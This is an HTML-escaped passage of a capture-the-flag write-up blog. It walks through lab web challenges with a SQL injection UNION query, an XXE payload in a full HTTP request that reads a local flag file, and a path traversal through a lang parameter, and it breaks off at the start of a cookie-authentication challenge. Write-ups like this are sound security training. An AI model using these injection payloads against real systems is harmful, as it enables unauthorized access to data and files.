    style=&quot;padding-bottom: 83.54430379746836%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAACI0lEQVR42pVU2W7aUBDlIyolEOMF4w2vEHWBkhLiYteOICihtFKkVooUVanU/388nRkwEELa5OFoFs89dzzLrRl+As2LnqDpBlBsX9B0gkdSdcODZ3TiqqkU1DAsNFr2BnWyDSK0ox6c+BSmH6MdJLDCLmyCanckZv+M6viHCRnFfIEf9w+4e/iDq+Ut8tk1bu9+4ef9bwwuMhxpJk5M52WEVSAHVTjW2xt9//IXZfhaPCKsbt3N6F/Z/Jew2XbRtLwNuOgK+wgN+v36awh5FCw/ghPE8OIevKgLN0w2ukYXKKYtkNIcwi6hQtl4H86QpCV6aYHuRYFwNCG9FD0e54hGGdTkPY47Cep+d4ughzrNZNU0IdS8EC2aM72zhbFjt2hYg3cD+G/7ZEdPQed1IuK51Qg1g5xscL1Urp/A3Uj2T8oZssvZXswW7G8xcSdcEVqUkUnyOVSNapH+HCzaJM5WCHWXdpazsuk22xNZ4YT8TkIrSGvIna9imjuxfFb3gi2hSUrDsGWduLgCjTaD5JFqyv66RPhG0Vfzqa++STMojjttrutZ4wbwLd3+EGkxxZD29DwrMZoUhC/4OJ7gLM0xzkt8ploO04zsTHz981RiTwefoDkdaRJlGEthDWr/OL+kR+EG5Rr5dI7Z4humN0uxZ4ul+Iqra5Hzr98xygp5jZhjnWGCNv0SE2vSqUiksR6fyl+Bv4vfj9fjRjaBOXQ/xl9+6/kGDm+tuQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Reading SQL structure&quot;
        title=&quot;Reading SQL structure&quot;
        src=&quot;/static/50566bebab37570371b6d55a46a2fb2c/9128f/Agi3.png&quot;
        srcset=&quot;/static/50566bebab37570371b6d55a46a2fb2c/c26ae/Agi3.png 158w,
/static/50566bebab37570371b6d55a46a2fb2c/6bdcf/Agi3.png 315w,
/static/50566bebab37570371b6d55a46a2fb2c/9128f/Agi3.png 603w&quot;
        sizes=&quot;(max-width: 603px) 100vw, 603px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Based on the result, I used the following query to view the other (unseen) column of all users: &lt;code class=&quot;language-text&quot;&gt;Agi&apos; UNION SELECT RECOVERY FROM USERS&apos;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 607px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9c184ed49c0b1b4116b6cd8d767967ef/ef9e5/Agi4.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 105.0632911392405%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAACjElEQVR42o1U6W7aYBDMQ5RQiPGBDcYHNoc5AjEESCqIErVSo0oNbWmUSn3/J5juLsbYHFV+jGytd+fb3ZnPF7rXgtrwj3BVc1AybcGV5aBsNVA2t1Bt/2SN4bdwoTkBSkYth4+6BTvsIhyM0b6O4Xb6aEZDhP0RWsMbaLYnOYc1zCWE5Wo9B06Yr57wvN7gx9tfrL58xWz5iG8/XyXGBxU1E1fUfVpHNWcJGUXdxKVaxQdFl2ehYgj4PUf0XkIuOgee4L+EaQLvg0fOjL4jOXXoGcImKqSgQlBrDXlXSWGFSCr05F0VaMx3E1bIAl67h0E8Q/9mmmIQ38qzO4rhd/sosaqnkCqdqKzUXESzT3j69Qer9W+sXjaCh/Urlt83FH9D/PkZl04IJYjyCHuouKFMwmsRQsPbBgqaRcpucZmgSCcX9Rra1OXgdiHm1WlFGj1TkCc124Xh+AkhnWB5gQSqB9DqruwzXtxjOJ1TF3U6vAGdCPbwBJYb7DvkwKFVylTMJIuHJwwmc4zn94jvlrimTk/ZymhQp25CaLrN9KQsLPpmBx0RxSXhanRXLT88mWtmO6yydUgctX4IR26GR3fZbUXyzrHjPFc4MoS+7Gab7OSKgv4QrcEI7eEYQW8oO83nbZEjNEgtMbLVSKEkV6xFP4IO/XHYj0zMscNcRpUV3+2wSjtUSTEtAXfL3Uzvl4jGE4xndyQMGZ/MzjG3HUmOlqlhHfYjHxDyCCZZyaFCO+yIIF6nJ+I4tEvJp5zzhDS/SqKw73bgMXSywmL1SPZZiF1Gs4UYmS9CNpdhHomS/BRSUAdcWG+2ZYfReCq2kbzE8FkcicLmVJK/zg4cYy9uRZmI107lKRlR/gEwBGp/AmRvUAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Getting the flag&quot;
        title=&quot;Getting the flag&quot;
        src=&quot;/static/9c184ed49c0b1b4116b6cd8d767967ef/ef9e5/Agi4.png&quot;
        srcset=&quot;/static/9c184ed49c0b1b4116b6cd8d767967ef/c26ae/Agi4.png 158w,
/static/9c184ed49c0b1b4116b6cd8d767967ef/6bdcf/Agi4.png 315w,
/static/9c184ed49c0b1b4116b6cd8d767967ef/ef9e5/Agi4.png 607w&quot;
        sizes=&quot;(max-width: 607px) 100vw, 607px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The flag &lt;code class=&quot;language-text&quot;&gt;ASV{pHp_t@k3s_PhDs}&lt;/code&gt; can be seen in the screenshot above.&lt;/p&gt;
&lt;h3&gt;Read, Register&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Can you read the flag at /bin/flag.txt?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 592px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/5a9ce9b245069565e79f9d600850c3f5/1b853/RR1.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 84.17721518987341%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAADd0lEQVR42nVUa1MaVxiGAZarBmRxF1gRUqMgWlTkftlCE4TFQaUYiu1MW0fTaX6PzWSaftCJl/HGra3OOPnQ9o89ec9JyWjTfnh23z3vZZ/3dnT1eh0bGxvI5XJwu92QJAmTk5McHo8H09PTCAaDHIqifNSNIIoi92UxWCwde2xubmJ1dRUGgwEWiwVms5m/TSYTwuEwyuUy0uk0QqEQP2P6kQ3zicfjPMaDgIlEAkajEYIgcKcR2BlzYmDyfd1Iz3w/Ccj+4nA44PP5eNojsLSj0Sjm5+d5ivd1sixzn08Ybm1tIba4iHq7jaOLC1xfXuLy6gpXhEuSe70eut0ul6/+Ob8gu9vbW+zv7yMSiaDZbD5kuLKyAsnnR65Y5EXO5/PIZrOoVqtotVrodDqoVCr8jOmYjaqqvGnLy8uc1AOGiwsL+Iqcfj06ws8HBzggHB4eclbX19ecJZNPT09xdnaGk5MTDIdD7O7u/j9Dr9+PfKHAWTAwFqlUCpqmoVarcZmdMV0mk0GBbAOBwH8zZDWsPH+O12/f4vWrV/jlzRscHx9zVqx+DKxu7Jvh/PwcNzc32Nvb+xfD9XVsUkDWKYm6FqcRYDKbS4ZkMol1smk0Gnw87oMxZsPOGH7sskaFbpBDNBxB57vv8fvtHxj0uhgMBhz9fh93d3e4e/cOA6rZYPgb+oMhur0+/vzrb/z08iXCc3NosoBaDbq58CIi80tQpkIYc1gRiGYQz68hm05ydqr6BbKZNNR0AvkkMV6KIZeIk5zATMCPcasFsYUotKdlrJWK0En+ILyBGYiyH4LJCKPZBptjnAbWDpvdDofNCod3Cp7a11BqbXjXtiFX2/ARJiptmGeXsDA7g3KxADWbhs7rGoN3wolHY2O0RrSntHpszfR6PV8ro14Hg1uGtfot5PoOJK0Dd/0bSPQD98YP0EcSeBJQUMzRVBBrnd0s4JHVjKBfguKT4XQ66WYJIZnJIfj4M7hFDzx0oziJsehyQZpwYZyYe91OzCoylqIRlEsl5GmMsqkkBeS3iwUpqleO5iv2eQylUhnb7R1U16p4qhZQpo1IUOe1Z1+iRRNRq2q8ZtuNdey0mnjx4wuohfyHgIKJbhfBTGkaP4DSFgQL7FYbXHYrRGoUe3vGHfB7REyIdDEoITx+EuFM7UYDpTyF1Gqcp/wem4pMuMbmd+MAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Account creation form&quot;
        title=&quot;Account creation form&quot;
        src=&quot;/static/5a9ce9b245069565e79f9d600850c3f5/1b853/RR1.png&quot;
        srcset=&quot;/static/5a9ce9b245069565e79f9d600850c3f5/c26ae/RR1.png 158w,
/static/5a9ce9b245069565e79f9d600850c3f5/6bdcf/RR1.png 315w,
/static/5a9ce9b245069565e79f9d600850c3f5/1b853/RR1.png 592w&quot;
        sizes=&quot;(max-width: 592px) 100vw, 592px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Proxying the query form submission through &lt;a href=&quot;https://portswigger.net/burp&quot;&gt;Burp Suite&lt;/a&gt;, I noticed that the request contained an XML payload.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;http&quot;&gt;&lt;pre class=&quot;language-http&quot;&gt;&lt;code class=&quot;language-http&quot;&gt;&lt;span class=&quot;token request-line&quot;&gt;&lt;span class=&quot;token method property&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;token request-target url&quot;&gt;/process.php&lt;/span&gt; &lt;span class=&quot;token http-version property&quot;&gt;HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;18.117.181.110&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;140&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;User-Agent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;text/plain;charset=UTF-8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Accept&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;*/*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Origin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;http://18.117.181.110&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Referer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;http://18.117.181.110/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Accept-Encoding&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;gzip, deflate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Accept-Language&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;nb-NO,nb;q=0.9,no;q=0.8,nn;q=0.7,en-US;q=0.6,en;q=0.5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;close&lt;/span&gt;&lt;/span&gt;

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&amp;lt;root&gt;
  &amp;lt;name&gt;E&amp;lt;/name&gt;&amp;lt;tel&gt;02837432934&amp;lt;/tel&gt;
  &amp;lt;email&gt;test@test.test&amp;lt;/email&gt;
  &amp;lt;password&gt;lol&amp;lt;/password&gt;
&amp;lt;/root&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I modified the request to contain an XML external entity (XXE) injection:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;http&quot;&gt;&lt;pre class=&quot;language-http&quot;&gt;&lt;code class=&quot;language-http&quot;&gt;&lt;span class=&quot;token request-line&quot;&gt;&lt;span class=&quot;token method property&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;token request-target url&quot;&gt;/process.php&lt;/span&gt; &lt;span class=&quot;token http-version property&quot;&gt;HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;18.117.181.110&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;197&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;User-Agent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;text/plain;charset=UTF-8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Accept&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;*/*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Origin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;http://18.117.181.110&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Referer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;http://18.117.181.110/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Accept-Encoding&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;gzip, deflate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Accept-Language&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;nb-NO,nb;q=0.9,no;q=0.8,nn;q=0.7,en-US;q=0.6,en;q=0.5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;close&lt;/span&gt;&lt;/span&gt;

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &quot;file:///bin/flag.txt&quot;&gt; ]&gt;
&amp;lt;root&gt;
	&amp;lt;name&gt;E&amp;lt;/name&gt;
	&amp;lt;tel&gt;02837432934&amp;lt;/tel&gt;
	&amp;lt;email&gt;&amp;amp;xxe;&amp;lt;/email&gt;
	&amp;lt;password&gt;lol&amp;lt;/password&gt;&amp;lt;
/root&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The response now read:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;HTTP/1.1 200 OK
Date: Mon, 09 Aug 2021 21:41:18 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/8.0.9
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

Sorry, ASV{XML_1S_0LD_4ND_B4D}
 is already registered!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;... containing the flag &lt;code class=&quot;language-text&quot;&gt;ASV{XML_1S_0LD_4ND_B4D}&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;I Can Read Your Files!&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;During a pentest on this website, you notice something is off. This web app might be using the path to a file as input! Can you figure out what the vulnerability is and exploit it to find the flag?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;The site taunted me.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/d8410dff5fe17fbe9b64ad724181f67d/75a80/Furniture1.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 46.835443037974684%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAuklEQVR42q3SywqDMBAF0HEhKPGF+EhMFHzUhf7/9912LA2JpdSFi0NIJpfATEgpBWPMoes6VFV1SdM0aNvW4r2UEhQEAe5EYRjiThTHMf6Joggxu3CXkiSBSwjxJc0ypHkOcaqfs4yKooDLbfSbhHoNS2tz7LnxnyHwWpall6fz9Oq69vAZB/k3/Kq7iF90aa3R9739SsMweNwak8rP0ziOcM3zjOXxwLIsh23brH3fsa6rrbFpmrz8E3lo10I8yMPzAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;No access&quot;
        title=&quot;No access&quot;
        src=&quot;/static/d8410dff5fe17fbe9b64ad724181f67d/f058b/Furniture1.png&quot;
        srcset=&quot;/static/d8410dff5fe17fbe9b64ad724181f67d/c26ae/Furniture1.png 158w,
/static/d8410dff5fe17fbe9b64ad724181f67d/6bdcf/Furniture1.png 315w,
/static/d8410dff5fe17fbe9b64ad724181f67d/f058b/Furniture1.png 630w,
/static/d8410dff5fe17fbe9b64ad724181f67d/40601/Furniture1.png 945w,
/static/d8410dff5fe17fbe9b64ad724181f67d/75a80/Furniture1.png 1134w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I noticed that by default, a GET-parameter had been set: the URL ended with &lt;code class=&quot;language-text&quot;&gt;?lang=en&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I checked if the site supported Norwegian by changing it to &lt;code class=&quot;language-text&quot;&gt;?lang=no&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1fec51317f01d970247bb2d0fd5e41a2/6c2f2/Furniture2.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 49.36708860759494%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABj0lEQVR42nVS246CUAw8TyYmajQq4B1dI3gXvKKiCPHB7Mb//5vZM3VxXZN9mLSdTnvagspkMrBqNXQ6HbRaLZimCcuyYBgmKpUKSqUSyuUyalpDkDMM46mrVquizefzyGazUEwcDgfc73ckSYLr9YrlconVaiWx7/sSR+dIdOv1GrvdDpdLpHHBfr+XeDAYoFgsQvX7fRFRvN1uEccxoihCEOzx+fUlcRAECMNQ8qfTSZrwET7G3O12E58bqlwuJyuNx2NpysLNZiP+8XjE+XRGeAylEXNJnMj01M/nc0ynU9mEpykUClC8g23bqNfrchPeqdFoiCWX3u6Vbzab4jP/qDPRbrdR0fdUrwf+C83VHg989Hr6o9miM01LIBrW/fjMsZciQSdt/Oqbxm/85J6at5zxGEpxdK7c01PQEt1uV1bgr0TYhObok081tJz8YTtyBsVG/OSj0QiO48B1XcFIH933PTk8sVgs4HkeZrMZhsMhXELrpMZxMdCWvVRKvoNFk8lEvibBB1P/vxry3x+oHVPRgTGrAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Norwegian not supported&quot;
        title=&quot;Norwegian not supported&quot;
        src=&quot;/static/1fec51317f01d970247bb2d0fd5e41a2/f058b/Furniture2.png&quot;
        srcset=&quot;/static/1fec51317f01d970247bb2d0fd5e41a2/c26ae/Furniture2.png 158w,
/static/1fec51317f01d970247bb2d0fd5e41a2/6bdcf/Furniture2.png 315w,
/static/1fec51317f01d970247bb2d0fd5e41a2/f058b/Furniture2.png 630w,
/static/1fec51317f01d970247bb2d0fd5e41a2/6c2f2/Furniture2.png 767w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;It seemed the site took whatever value the &lt;code class=&quot;language-text&quot;&gt;lang&lt;/code&gt;-parameter had, appended &lt;code class=&quot;language-text&quot;&gt;.txt&lt;/code&gt; to it, and searched for the resulting filename in &lt;code class=&quot;language-text&quot;&gt;../lang/&lt;/code&gt; (i.e.) the webroot&apos;s parent directory.&lt;/p&gt;
&lt;p&gt;By changing the parameter yet again – so that the URL was the equivalent of &lt;code class=&quot;language-text&quot;&gt;https://&amp;lt;SITE&gt;/?lang=../flag&lt;/code&gt; i got the following output:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/61d403234bcb9d283775bdec8b593fcb/0ad97/Furniture3.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 20.88607594936709%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAnElEQVR42m2NzQqEMAyEe64tIrZaFVvE7YL2IIgLvv+LjSYgFNnDx+RnJhFFUSBHSomqqjDPM6ZpwjiOGIYBMUZW7z2WZUFZlux954VSCg9aaza1bYt933EcP6SU7mPfmw+2bcO6rjjPE9Za9lImzwvnHH/u+5556rqu+TDtu67jumkaVoJ8NCcvKfU0F/TpDQVzQghMvv+XM8bgAqWcZYGZ4E3HAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Flag from file&quot;
        title=&quot;Flag from file&quot;
        src=&quot;/static/61d403234bcb9d283775bdec8b593fcb/f058b/Furniture3.png&quot;
        srcset=&quot;/static/61d403234bcb9d283775bdec8b593fcb/c26ae/Furniture3.png 158w,
/static/61d403234bcb9d283775bdec8b593fcb/6bdcf/Furniture3.png 315w,
/static/61d403234bcb9d283775bdec8b593fcb/f058b/Furniture3.png 630w,
/static/61d403234bcb9d283775bdec8b593fcb/0ad97/Furniture3.png 717w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The output now included the flag (&lt;code class=&quot;language-text&quot;&gt;ASV{LFI_FTW_2EZ}&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;Authentication Matters&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;I found a page that only the site admins can access. Can you break into it?

Note: There is no need for any bruteforcing to be done. All you need is this page!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;Navigating to the challenge URL gave me an empty page stating &lt;code class=&quot;language-text&quot;&gt;Authentication required.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Checking the browser storage, I noticed that a cookie had been set:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/2496872979370807b4bd6fdf925a5220/5e3a3/Auth1.png&quot;
